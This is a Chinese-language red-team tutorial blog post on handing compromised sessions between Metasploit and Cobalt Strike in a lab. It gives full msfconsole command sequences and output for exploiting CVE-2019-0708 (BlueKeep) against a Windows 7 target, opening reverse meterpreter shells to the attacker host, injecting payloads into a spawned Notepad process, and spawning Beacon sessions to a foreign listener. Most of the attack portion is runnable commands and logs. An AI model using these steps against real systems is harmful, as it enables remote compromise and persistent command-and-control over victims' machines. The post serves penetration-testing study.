【经验总结】CS与MSF之间的会话传递


0x00 前言

众所周知,Cobalt Strike 的前身是 Armitage,而 Armitage 又可以理解为 Metasploit Framework 的图形界面版,因此 Cobalt Strike 与 Metasploit Framework 在很多地方都是兼容的,所以我们便可以将 Metasploit Framework 攻击产生的会话传递到 Cobalt Strike 上,同样的 Cobalt Strike 的会话也能够传递到 Metasploit Framework

Metasploit Framework 会话传递到 Cobalt Strike 上整体过程如下:

1、Metasploit Framework 调用攻击载荷,这里调用的是喜闻乐见的 CVE-2019-0708

2、Metasploit Framework 发起攻击,获取会话

3、Cobalt Strike 新建一个 Beacon,这里使用的是 HTTPS Beacon

4、最后,在 Metasploit Framework 上调用 exploit/windows/local/payload_inject 模块

5、在该模块上配置与 Cobalt Strike 上为同样类型的 payload,即 HTTPS Payload,设置 Cobalt Strike 服务器的 IP 和 端口后运行即可

Cobalt Strike 会话传递到 Metasploit Framework 上整体过程如下:

1、首先,Cobalt Strike 需要获得一个会话,这里直接采用 Scripted Web Delivery(S)的方式使靶机上线

2、接着,Metasploit Framework 调用 exploit/multi/handler 模块

3、在该模块上配置 HTTP Payload,为该 payload 的 IP 和 端口设置成 Metasploit Framework 所在主机 IP,端口自定义即可

4、 之后运行该模块

5、在 Cobalt Strike 上创建一个 Foreign HTTP 的监听,监听 IP 和端口设置成刚才 Metasploit Framework 上所监听的 IP 和端口

7、接着在 Cobalt Strike 上右击选择要传递的会话,找到 Spawn 选项,选择刚刚创建的监听器即可

环境信息:

攻击 IP:192.168.175.200 (Cobalt Strike 服务端、Metasploit Framework 所在主机)

靶机 IP:192.168.175.177 (一台有 CVE-2019-0708 漏洞的 Win7 SP1 64 位靶机)

0x01 Metasploit Framework 会话传递到 Cobalt Strike

1、Cobalt Strike 上的操作

首先来到 Cobalt Strike 目录下,启动 Cobalt Strike 服务端

./teamserver yourip yourpassword

之后打开 Cobalt Strike 客户端进行连接

./start.sh

输入服务端密码连接上之后,点击 Cobalt Strike –> Listeners 打开 Listeners 界面,点击下方的 Add 按钮,输入 Beacon 名称,这里选择的是 HTTPS Beacon,添加上主机 IP,点击保存,即可创建一个 HTTPS Beacon

2、Metasploit Framework 上的操作

首先,打开 Metasploit Framework

msfconsole 

调用 CVE-2019-0708 模块

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

设置靶机 IP

set rhost 192.168.175.177

设置 Payload

set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.175.200

发起攻击

exploit

整体过程如下:

root@kali:~# msfconsole

msf5 > use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set rhost 192.168.175.177
rhost => 192.168.175.177

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set lhost 192.168.175.200
lhost => 192.168.175.200

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > exploit
[*] Started reverse TCP handler on 192.168.175.200:4444 
[*] 192.168.175.177:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] 192.168.175.177:3389  - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] 192.168.175.177:3389  - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.175.177:3389 - Using CHUNK grooming strategy. Size 250MB, target address 0xfffffa8028608000, Channel count 1.
[!] 192.168.175.177:3389 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.175.177:3389 - Surfing channels ...
[*] 192.168.175.177:3389 - Lobbing eggs ...
[*] 192.168.175.177:3389 - Forcing the USE of FREE'd object ...
[!] 192.168.175.177:3389 - <---------------- | Leaving Danger Zone | ---------------->
[*] Sending stage (206403 bytes) to 192.168.175.177
[*] Meterpreter session 4 opened (192.168.175.200:4444 -> 192.168.175.177:49167) at 2020-07-26 05:57:22 -0400

meterpreter > 

3、开始传递会话

首先,backgroud 会话

background

调用 payload_inject 模块

use exploit/windows/local/payload_inject

设置 HTTPS Payload

set payload windows/meterpreter/reverse_https

设置 lhost 和 lport 为 Cobalt Strike 的监听 IP 与端口

set lhost 192.168.175.200
set lport 443

设置 DisablePayloadHandler 为 True,此选项会让 Metasploit Framework 避免在其内起一个 handler 来服务你的 payload 连接,也就是告诉 Metasploit Framework 说我们已经建立了监听器,不必再新建监听器了。

set DisablePayloadHandler True

(可选)设置 PrependMigrate 为 True,此选项让 Metasploit Framework 前置 shellcode 在另一个进程中运行 payload stager,如果被利用的应用程序崩溃或被用户关闭,这会帮助 Beacon 会话存活。

set PrependMigrate True

设置要传递的会话 session,如果不知道自己的 session id,可以通过 sessions -l 查看,我这里待传递的 session id 为 4

set session 4

开始会话传递

run

整体过程如下:

msf5 > background 
[*] Backgrounding session 4...

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > use exploit/windows/local/payload_inject

msf5 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https

msf5 exploit(windows/local/payload_inject) > set lhost 192.168.175.200
lhost => 192.168.175.200

msf5 exploit(windows/local/payload_inject) > set lport 443
lport => 443

msf5 exploit(windows/local/payload_inject) > set DisablePayloadHandler True
DisablePayloadHandler => true

msf5 exploit(windows/local/payload_inject) > set PrependMigrate True
PrependMigrate => True

msf5 exploit(windows/local/payload_inject) >  set session 4
session => 4

msf5 exploit(windows/local/payload_inject) > run
[*] Running module against WIN-T0UES7KBMJ5
[*] Spawned Notepad process 544
[*] Injecting payload into 544
[*] Preparing 'windows/meterpreter/reverse_https' for PID 544

此时,来到 Cobalt Strike 下已经可以看到传递过来的会话了

0x02 Cobalt Strike 会话传递到 Metasploit Framework

1、Cobalt Strike 上的操作

与上述 Cobalt Strike 的操作步骤一样,这里先创建一个 HTTPS Beacon,接下来创建一个 Powershell 类型的 Scripted Web Delivery(S)

为了使 Cobalt Strike 获得一个会话,需要复制创建好的命令,并在靶机上运行,此时靶机便会上线了

2、Metasploit Framework 上的操作

首先,在 Metasploit Framework 上调用 handler 模块

use exploit/multi/handler

设置 HTTP Payload

set payload windows/meterpreter/reverse_http
set lhost 192.168.175.200
set lport 4480

运行该模块

run

整体过程如下:

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http

msf5 exploit(multi/handler) > set lhost 192.168.175.200
lhost => 192.168.175.200

msf5 exploit(multi/handler) > set lport 4480
lport => 4480

msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on http://192.168.175.200:4480

3、开始会话传递

在 Cobalt Strike 上先创建一个 Foreign HTTP 监听,IP 和 端口设置成上面 Metasploit Framework 所设置 handler 模块的端口和 IP

之后在 Cobalt Strike 上右击待传递的会话选择 Spawn ,选择刚刚创建的 Foreign HTTP 监听

来到 Metasploit Framework 便能够看到会话已经传递过来了

更多信息欢迎关注我的微信公众号:TeamsSix


文章作者: TeamsSix
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 TeamsSix !
评论
  目录